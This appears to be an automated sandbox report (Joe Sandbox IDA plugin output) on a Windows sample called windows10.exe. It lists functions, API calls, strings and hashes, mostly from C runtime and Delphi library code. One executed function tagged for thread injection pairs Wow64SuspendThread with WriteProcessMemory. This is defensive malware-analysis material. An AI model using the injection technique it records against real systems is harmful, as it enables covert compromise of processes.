Instruction Fuzzy Hash: E53190318003199AC721AFB5EC55F2E3BE4EB14320B1245BEEA00C39B2DB75848BCB60

Function 00C022D3 Relevance: 9.2, APIs: 6, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00C02355
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,00000000,00000000,?,?,?,?,?,00BFF75E), ref: 00C02395
_malloc.LIBCMT ref: 00C023A5
_memset.LIBCMT ref: 00C023CD
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,00000000,?,?,?,?,?,00BFF75E,?), ref: 00C023E4
__freea.LIBCMT ref: 00C0246C

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_malloc_memset_strlen
String ID:
API String ID: 3923921168-0
Opcode ID: 5246eab9c9fa1015b25e515cb4412a11950c32429cbf18be7efd486d4165c879
Instruction ID: d6b0e3d2d00466eb7617ae1f929b46ef523074fe0b2646702770a7f4aa94606b
Opcode Fuzzy Hash: 5246eab9c9fa1015b25e515cb4412a11950c32429cbf18be7efd486d4165c879
Instruction Fuzzy Hash: F5516E31900219AECF219FA5DC48DEFBBB9EF89760F244129F524A61A0D7359A41DB60

Function 00BFABAA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BFAC1B
___crtGetStringTypeA.LIBCMT ref: 00BFAC46
___crtLCMapStringA.LIBCMT ref: 00BFAC66
___crtLCMapStringA.LIBCMT ref: 00BFAC8B

Strings

, xrefs: 00BFABF2

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: String___crt$Type_memset
String ID:
API String ID: 1957702402-3916222277
Opcode ID: 67e2e56ed8c42aa71e6e6c91f7cfbf5a6962c2b39f5dcae22c63be6ab552a497
Instruction ID: 5bccd9bc28cd468fc5f11718d41f778cca8648cf747818d4eed948670d91199b
Opcode Fuzzy Hash: 67e2e56ed8c42aa71e6e6c91f7cfbf5a6962c2b39f5dcae22c63be6ab552a497
Instruction Fuzzy Hash: 3D5125B410479C5FDB268B249C95BFB7BE8DF06704F1844E8D6CA87183D2319A4D8F61

Function 00C04AC0 Relevance: 7.8, APIs: 5, Instructions: 263COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 00C04BC1
__FindPESection.LIBCMT ref: 00C04BDB

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 59bca6904b43cb8a0da12073ac6844af6c5823a4cc2d18639c913939bb52249c
Instruction ID: c457ce0c22936e8e388b1f5d8bf7b4737a529d1c0819c1b1b945d5256e77c8c0
Opcode Fuzzy Hash: 59bca6904b43cb8a0da12073ac6844af6c5823a4cc2d18639c913939bb52249c
Instruction Fuzzy Hash: BE91C3B2A006188BDB28CF59D88076FB7B9FB84351F16412DDA25977E1E731ED42CB90

Function 00BFF574 Relevance: 7.7, APIs: 5, Instructions: 170COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,00BFF75E,?,?,?), ref: 00BFF61A
_malloc.LIBCMT ref: 00BFF64F

Part of subcall function 00C022D3: _strlen.LIBCMT ref: 00C02355
Part of subcall function 00C022D3: _memset.LIBCMT ref: 00C023CD
Part of subcall function 00C022D3: MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,00000000,?,?,?,?,?,00BFF75E,?), ref: 00C023E4

_memset.LIBCMT ref: 00BFF66F
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000,00000000,?,?,?,?,?,00000001), ref: 00BFF684
__freea.LIBCMT ref: 00BFF69C

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: ByteCharMultiWide$_memset$__freea_malloc_strlen
String ID:
API String ID: 574822426-0
Opcode ID: c568740b1fbec095d8d7e3e4032d858e710da62e1f5ad2d43351d8b6eeb3139b
Instruction ID: ee542d89585ce4a2c1e47f1bd733bea0b82deeaf2a8cdd7a14591905a3b578e5
Opcode Fuzzy Hash: c568740b1fbec095d8d7e3e4032d858e710da62e1f5ad2d43351d8b6eeb3139b
Instruction Fuzzy Hash: C751377250010FAFDB209FA4DC81ABE7BE9EF14354B1045BAFA04D7160DA71DD68DBA0

Function 00C04009 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00C04031

Part of subcall function 00C03921: __getptd.LIBCMT ref: 00C0392F
Part of subcall function 00C03921: __getptd.LIBCMT ref: 00C0393D

__getptd.LIBCMT ref: 00C0403B

Part of subcall function 00BFB7E6: __amsg_exit.LIBCMT ref: 00BFB7F6

__getptd.LIBCMT ref: 00C04049
__getptd.LIBCMT ref: 00C04057
__getptd.LIBCMT ref: 00C04062

Part of subcall function 00C039C6: __CallSettingFrame@12.LIBCMT ref: 00C03A12

Part of subcall function 00C0412F: __getptd.LIBCMT ref: 00C0413E
Part of subcall function 00C0412F: __getptd.LIBCMT ref: 00C0414C

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit
String ID:
API String ID: 3174811152-0
Opcode ID: 207eb629d19133c1b58a5250d1da6745d41d4e5ad16821eb7d210aa5e97d8cc6
Instruction ID: c825005b41c106604121e7cee1b8e5517399703964e7ade00920bd4aa3271c68
Opcode Fuzzy Hash: 207eb629d19133c1b58a5250d1da6745d41d4e5ad16821eb7d210aa5e97d8cc6
Instruction Fuzzy Hash: 181107B5C04209DFDB00EFA4C985AAE7BF0FF04310F1080A9F914A7291DB789A55DF51

Function 008F8494 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 008F84C3
GetLogicalProcessorInformation.KERNEL32(?,?,00000000,008F8540,?,00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 008F84F7

Strings

kernel32.dll, xrefs: 008F84A5
GetLogicalProcessorInformation, xrefs: 008F84A0

Memory Dump Source

Source File: 0000000E.00000002.2500868091.00000000008F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 008F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8f1000_windows10.jbxd

Yara matches

Similarity

API ID: InformationLogicalProcessor
String ID: GetLogicalProcessorInformation$kernel32.dll
API String ID: 1773637529-812649623
Opcode ID: 50924ce77512a2b9dafe910b696f906bb0c761ed524ada5e9755cf228c8b0ce0
Instruction ID: facfc26de495bd95f743f6b9e6ff843d37e0a52cc7384122512081d852e66927
Opcode Fuzzy Hash: 50924ce77512a2b9dafe910b696f906bb0c761ed524ada5e9755cf228c8b0ce0
Instruction Fuzzy Hash: E011907190420CEFEB10EBB8DC52B7EB7E8FB48314F254066E714D6181EE359A948626

Function 008F8492 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 008F84C3
GetLogicalProcessorInformation.KERNEL32(?,?,00000000,008F8540,?,00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 008F84F7

Strings

kernel32.dll, xrefs: 008F84A5
GetLogicalProcessorInformation, xrefs: 008F84A0

Memory Dump Source

Source File: 0000000E.00000002.2500868091.00000000008F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 008F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8f1000_windows10.jbxd

Yara matches

Similarity

API ID: InformationLogicalProcessor
String ID: GetLogicalProcessorInformation$kernel32.dll
API String ID: 1773637529-812649623
Opcode ID: eb521f12a6e7dd0da2c0eda1631aa079634bb3e38c97a74df442a745008d3fe7
Instruction ID: 87294933dab529522d583cb354c25481a4c3e069fd1f8a97d09fff900418ef72
Opcode Fuzzy Hash: eb521f12a6e7dd0da2c0eda1631aa079634bb3e38c97a74df442a745008d3fe7
Instruction Fuzzy Hash: C1018070D0460CEFEB10EBB89C42A7EB7E8FB08314F114166F714D6181EE75DA948626

Function 008FC860 Relevance: 6.1, APIs: 4, Instructions: 95threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 008FC871
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 008FC8CF
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 008FC92C
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 008FC95F

Part of subcall function 008FC81C: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,008FC8DD), ref: 008FC833
Part of subcall function 008FC81C: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,008FC8DD), ref: 008FC850

Memory Dump Source

Source File: 0000000E.00000002.2500868091.00000000008F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 008F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8f1000_windows10.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: cb636dda3aa5bb8e51ffb7a5071b6d3f1a8ab48cd583134b6a2cb5bda97c5242
Instruction ID: d0f52351635fb46696d556c3066608cab0e73296f065fedb270bd0911e359935
Opcode Fuzzy Hash: cb636dda3aa5bb8e51ffb7a5071b6d3f1a8ab48cd583134b6a2cb5bda97c5242
Instruction Fuzzy Hash: 0D314B70E1021E9BDB10EFF8C995ABEB7B4FF08310F104166E665E7291EB749A04CB91

Function 00BFB59A Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00BFB635), ref: 00BFB5AC
TlsGetValue.KERNEL32(00C0C658,?,00BFB635), ref: 00BFB5C3

Strings

KERNEL32.DLL, xrefs: 00BFB5D3, 00BFB5D8, 00BFB5E3
DecodePointer, xrefs: 00BFB5EE

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: Value
String ID: DecodePointer$KERNEL32.DLL
API String ID: 3702945584-629428536
Opcode ID: e7a94842c9d7c5528deac2b675e3a7968b0b083352d3a6e1defb8d49faad4443
Instruction ID: 5ccb32baef7e9fe3b972cbce610e9f4e842f1bd6de297c805d0ab269bd537e39
Opcode Fuzzy Hash: e7a94842c9d7c5528deac2b675e3a7968b0b083352d3a6e1defb8d49faad4443
Instruction Fuzzy Hash: B501F730644259ABCF21AB79DC55FAB7FD88F113A471802A4FD08C7191DB66CD05C6D0

Function 00BFB51F Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00BFB598,00000000,00C0273C,00C0F6D0,00000000,00000314,?,00C00261,00C0F6D0,Microsoft Visual C++ Runtime Library,00012010), ref: 00BFB531
TlsGetValue.KERNEL32(00C0C658,?,00BFB598,00000000,00C0273C,00C0F6D0,00000000,00000314,?,00C00261,00C0F6D0,Microsoft Visual C++ Runtime Library,00012010), ref: 00BFB548

Strings

EncodePointer, xrefs: 00BFB573
KERNEL32.DLL, xrefs: 00BFB558, 00BFB55D

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: Value
String ID: EncodePointer$KERNEL32.DLL
API String ID: 3702945584-3682587211
Opcode ID: a810c4792753c6deb14df5e4edf6a4459354d74125e330e8eef1a00f6d24c509
Instruction ID: 65a6916c5b4b2104592b281e787dc2c873c205c377566377263481758560e61d
Opcode Fuzzy Hash: a810c4792753c6deb14df5e4edf6a4459354d74125e330e8eef1a00f6d24c509
Instruction Fuzzy Hash: D2F04F7010021EAACB11AF39DC50EBE3BE9DB153A47150271FE18D75A1DB26DE55C7A0

Function 00C03D9A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00C03DC8
__CallSettingFrame@12.LIBCMT ref: 00C03E18

Strings

j, xrefs: 00C03D9E

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: c4a67d9dd7f0164245bec01a564f135e69c4739bb5b40795172e5f2408bc0f66
Instruction ID: 7037b4632913d1c1e2a39489908174ac7c13724f396e2b50b2188d1f8de34ec3
Opcode Fuzzy Hash: c4a67d9dd7f0164245bec01a564f135e69c4739bb5b40795172e5f2408bc0f66
Instruction Fuzzy Hash: 6B118B71915295EFCB12DF69C8443ACBFB4BF05718F28868AD4A46F1C3C371AA51DB81

Function 00C043B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00C043C9

Part of subcall function 00C04324: ___BuildCatchObjectHelper.LIBCMT ref: 00C0435A

_UnwindNestedFrames.LIBCMT ref: 00C043E0

Strings

csm, xrefs: 00C043C5, 00C043DA, 00C043ED, 00C0440B, 00C0441B

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm
API String ID: 3487967840-1018135373
Opcode ID: d7cfb688f90cc76fd5960e040264083c7c1c916bb07f4d54eefe1401d8d22a85
Instruction ID: 329674052ad0318cca3962b8e062ed892b52cef03767d5e60c89718dd9c29754
Opcode Fuzzy Hash: d7cfb688f90cc76fd5960e040264083c7c1c916bb07f4d54eefe1401d8d22a85
Instruction Fuzzy Hash: 26012FB5000109BBCF16AF51DC46EAB3EAAFF08341F008010BE18241A1D772AAB1EBA0

Function 00C0412F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00C0413E

Part of subcall function 00BFB7E6: __amsg_exit.LIBCMT ref: 00BFB7F6

__getptd.LIBCMT ref: 00C0414C

Strings

csm, xrefs: 00C0415A

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: __getptd$__amsg_exit
String ID: csm
API String ID: 1969926928-1018135373
Opcode ID: 9d7e085454ab6c2d7cb152083fa03de183894ad01705aed6babd743c65a25248
Instruction ID: 2b77350bb6112a19d2276a34448421d23509cc5e303c171c1bf95f4dde67a6cc
Opcode Fuzzy Hash: 9d7e085454ab6c2d7cb152083fa03de183894ad01705aed6babd743c65a25248
Instruction Fuzzy Hash: 73016DB68002049FDF389F64D444AAEB7B9AF24311F14446DE160562D2CB70DFE4DF41

Analysis Process: windows10.exePID: 8260, Parent PID: 7416COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	255
Total number of Limit Nodes:	28

Executed Functions

Function 00CF92FC Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAddAtomW.KERNEL32(00000000), ref: 00CF9350

Part of subcall function 00CF9070: SetErrorMode.KERNELBASE(00008000), ref: 00CF9084
Part of subcall function 00CF9070: SetErrorMode.KERNELBASE(?,00CF90D0), ref: 00CF90C3

Part of subcall function 00D8E394: LoadIconW.USER32(00DB4040,MAINICON,?,?,?,00CF9410), ref: 00D8E4BC

Strings

Delphi%.8X, xrefs: 00CF932E
ControlOfs%.8X%.8X, xrefs: 00CF937F
AnimateWindow, xrefs: 00CF946B
USER32, xrefs: 00CF9439
DelphiRM_GetObjectInstance, xrefs: 00CF93AC

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000CAD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_cad000_windows10.jbxd

Similarity

API ID: ErrorMode$AtomGlobalIconLoad
String ID: AnimateWindow$ControlOfs%.8X%.8X$Delphi%.8X$DelphiRM_GetObjectInstance$USER32
API String ID: 1953398334-1139167764
Opcode ID: 436daa5087e223eb94259e9fd494686485b6d2001fe1261e8da69bd86f478e1e
Instruction ID: 8df992afad4a268e953f7703b91a98d0ae380de1b0df5a6a184ff2694b778ebb
Opcode Fuzzy Hash: 436daa5087e223eb94259e9fd494686485b6d2001fe1261e8da69bd86f478e1e
Instruction Fuzzy Hash: 82416D74600389DBCB40FFB8ED92AAEB7F4EB18304B404565F615DB361EE349A058B71

Function 00DDA83B Relevance: 10.6, APIs: 7, Instructions: 105
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__mtterm.LIBCMT ref: 00DDA8F1

Part of subcall function 00DDE1B4: HeapCreate.KERNELBASE(00000000,00000000,00001000,00000000,?,00DDA850,?), ref: 00DDE1CA

__RTC_Initialize.LIBCMT ref: 00DDA86C
__mtterm.LIBCMT ref: 00DDA88F

Part of subcall function 00DDB649: TlsFree.KERNEL32(00DEC65C,00DDA8F6), ref: 00DDB674

__setenvp.LIBCMT ref: 00DDA89F
__cinit.LIBCMT ref: 00DDA8AA
___set_flsgetvalue.LIBCMT ref: 00DDA902

Part of subcall function 00DDB615: TlsGetValue.KERNEL32(?,00DDB784), ref: 00DDB61E
Part of subcall function 00DDB615: TlsSetValue.KERNEL32(00000000), ref: 00DDB63F

Part of subcall function 00DDD6AF: __calloc_impl.LIBCMT ref: 00DDD6C0

__freeptd.LIBCMT ref: 00DDA961

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: Value__mtterm$CreateFreeHeapInitialize___set_flsgetvalue__calloc_impl__cinit__freeptd__setenvp
String ID:
API String ID: 3186663487-0
Opcode ID: 4ec0c534a04deebaef199423d145f8cbdf7afd2c4b8c55c1e52647b317ebfb2b
Instruction ID: 3c21dbf71f55fb04dcca8272b6dc2504fa9db0117875a89fd971f338e5aa9d33
Opcode Fuzzy Hash: 4ec0c534a04deebaef199423d145f8cbdf7afd2c4b8c55c1e52647b317ebfb2b
Instruction Fuzzy Hash: CE21D131544382D99E2537BDAC1262A3359DF90364B6AC42BFD55C9382EF20C842AA73

Function 00DD9748 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00DD9A18

Part of subcall function 00DDC0B6: __FF_MSGBANNER.LIBCMT ref: 00DDC0D9
Part of subcall function 00DDC0B6: __NMSG_WRITE.LIBCMT ref: 00DDC0E0
Part of subcall function 00DDC0B6: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 00DDC12D

std::bad_alloc::bad_alloc.LIBCMT ref: 00DD9A3B

Part of subcall function 00DD9994: std::exception::exception.LIBCMT ref: 00DD99A0

std::bad_exception::bad_exception.LIBCMT ref: 00DD9A4F

Strings

PU', xrefs: 00DD9A5C

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: AllocateHeap_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID: PU'
API String ID: 832318072-4254717615
Opcode ID: 5a2cd519584e8dd6040d3318d1848ebee6fb4cecd52bccd2a4edf43e8a90d7c1
Instruction ID: 09b50b1e38959e9f3ded025042075f562d760258b025f6c058daec71d9ef1d52
Opcode Fuzzy Hash: 5a2cd519584e8dd6040d3318d1848ebee6fb4cecd52bccd2a4edf43e8a90d7c1
Instruction Fuzzy Hash: 6F014C3340434A6A8F24B766D8329B9B798CB40368B587027F8499B386DA73DD41C7B1

Function 00D8D1A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000002,00000000), ref: 00D8D266

Strings

System\CurrentControlSet\Control\Keyboard Layouts\%.8x, xrefs: 00D8D250
layout text, xrefs: 00D8D297

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000CAD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_cad000_windows10.jbxd

Similarity

API ID: Open
String ID: System\CurrentControlSet\Control\Keyboard Layouts\%.8x$layout text
API String ID: 71445658-2652665750
Opcode ID: f480718178c0309893974c14d822517d70219cfb520d9a990718f5816f0bb0a0
Instruction ID: aeb8058bb98e64d5a5dd4937cd6e8dca934e904495e84c1d485596ae7c22a8ea
Opcode Fuzzy Hash: f480718178c0309893974c14d822517d70219cfb520d9a990718f5816f0bb0a0
Instruction Fuzzy Hash: A6410875A00209AFDB11EF94CA81BAEB7F9EB49700F5040A5E904E7391E770EF04CB62

Function 00CF9070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008000), ref: 00CF9084
SetErrorMode.KERNELBASE(?,00CF90D0), ref: 00CF90C3

Strings

imm32.dll, xrefs: 00CF90A3

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000CAD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_cad000_windows10.jbxd

Similarity

API ID: ErrorMode
String ID: imm32.dll
API String ID: 2340568224-1815517138
Opcode ID: 003f145bfca057ca65303b32c1c59b8b3a5d948b31892ecc8f1900fd31cdbdde
Instruction ID: 6590ea6e6c608edcd5c6c10ee4f9dd5c66380cd1dacbd35abd0a402e6566ddde
Opcode Fuzzy Hash: 003f145bfca057ca65303b32c1c59b8b3a5d948b31892ecc8f1900fd31cdbdde
Instruction Fuzzy Hash: 43F0E276508348EFDF51EB65E91AB3577E8D349710FE180A5F208836A0DE759900DB35

Function 00D8E394 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 150
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconW.USER32(00DB4040,MAINICON,?,?,?,00CF9410), ref: 00D8E4BC

Strings

MAINICON, xrefs: 00D8E4AF

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000CAD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_cad000_windows10.jbxd

Similarity

API ID: IconLoad
String ID: MAINICON
API String ID: 2457776203-2283262055
Opcode ID: 52d1538f10f52f7eb4e4fb8d4581c503e8e3937deae28ad740a62784629a8355
Instruction ID: 604a7de48831b2648df40f73dfdafd3a5917997420149104a39e68b524f7019c
Opcode Fuzzy Hash: 52d1538f10f52f7eb4e4fb8d4581c503e8e3937deae28ad740a62784629a8355
Instruction Fuzzy Hash: E2612870A04384CFDB40EF28D98AB9A3BE5AF15304F0845B9E808CF357DBB599488B71

Function 00AFAF3C Relevance: 3.1, APIs: 2, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.KERNELBASE(00000000), ref: 00AFAF7E
GetFileVersionInfoW.KERNELBASE(00000000), ref: 00AFAFB3

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000AEB000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AEB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_aeb000_windows10.jbxd

Similarity

API ID: FileInfoVersion$Size
String ID:
API String ID: 2104008232-0
Opcode ID: a0465724b847056d05c0cad38d6f28ca1a536f1d9e9199c38b2a299e056e3e40
Instruction ID: 6d2fc651c7ccb7400f484cc6c6838e896f453d7760e662687a9f6deb5a28fe33
Opcode Fuzzy Hash: a0465724b847056d05c0cad38d6f28ca1a536f1d9e9199c38b2a299e056e3e40
Instruction Fuzzy Hash: 28213CB1A10209AFDB11EFE5CD928AEB7FCEB48710B514971B614E3651EB34AE00DA21

Function 00DCB7A5 Relevance: 3.0, APIs: 2, Instructions: 46
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SuspendThread.KERNEL32 ref: 00DCB7A5
WriteProcessMemory.KERNELBASE(?,000000FF,?,?,00000005,00000000), ref: 00DCB7F5

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DCB000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DCB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dcb000_windows10.jbxd

Similarity

API ID: MemoryProcessSuspendThreadWow64Write
String ID:
API String ID: 2345646855-0
Opcode ID: b7a10879d2066c743689e0833f586f0bbe6c42a46d3e97db13997739e3d29073
Instruction ID: 003cb0afa001532189881a9a274459547ff39cb749068a4097b9bb9d0c70913f
Opcode Fuzzy Hash: b7a10879d2066c743689e0833f586f0bbe6c42a46d3e97db13997739e3d29073
Instruction Fuzzy Hash: 56F0593060010E26EB18987CEC06FEDBA9BCFC1630F298329B924C75D4E630880442A1

Function 00EDCC3B Relevance: 2.6, Strings: 2, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P, xrefs: 00EDCC07
t, xrefs: 00EDCC41

Memory Dump Source

Source File: 0000001A.00000002.2545064061.0000000000EDC000.00000020.00000001.01000000.00000007.sdmp, Offset: 00EDC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_edc000_windows10.jbxd

Similarity

API ID:
String ID: P$t
API String ID: 0-897426209
Opcode ID: 7fa334fd72bc3d5bf1f73fcfde9ad3b1c31ef972c005667e9749b4e90cf11852
Instruction ID: 24bf71fbd262e37e70b2fcfd84e4c8583413de69b83a8ec33843b13707be6b86
Opcode Fuzzy Hash: 7fa334fd72bc3d5bf1f73fcfde9ad3b1c31ef972c005667e9749b4e90cf11852
Instruction Fuzzy Hash: 3641DF719117438FC7168B3889895D9FF91FF523A4728166EC1D6972D2C7214487CBC5

Function 00D87B98 Relevance: 1.7, APIs: 1, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000000,00000000,00000000,00D87DC8), ref: 00D87D46

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000CAD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_cad000_windows10.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b7f7605a12a6f1833b457f9fd19f5e057958b6d1279250ba30856c1a6b55330a
Instruction ID: 4fe4f7674b1df6ec97413a6a125fc55b067316f141a62de0ef2d35d2b1f142ab
Opcode Fuzzy Hash: b7f7605a12a6f1833b457f9fd19f5e057958b6d1279250ba30856c1a6b55330a
Instruction Fuzzy Hash: 2051BA317083449BDB61BF38C889BAA7695AF05304F2C95B9FC419B297CAB4CC898770

Function 00DAA114 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00DAA1AD

Memory Dump Source

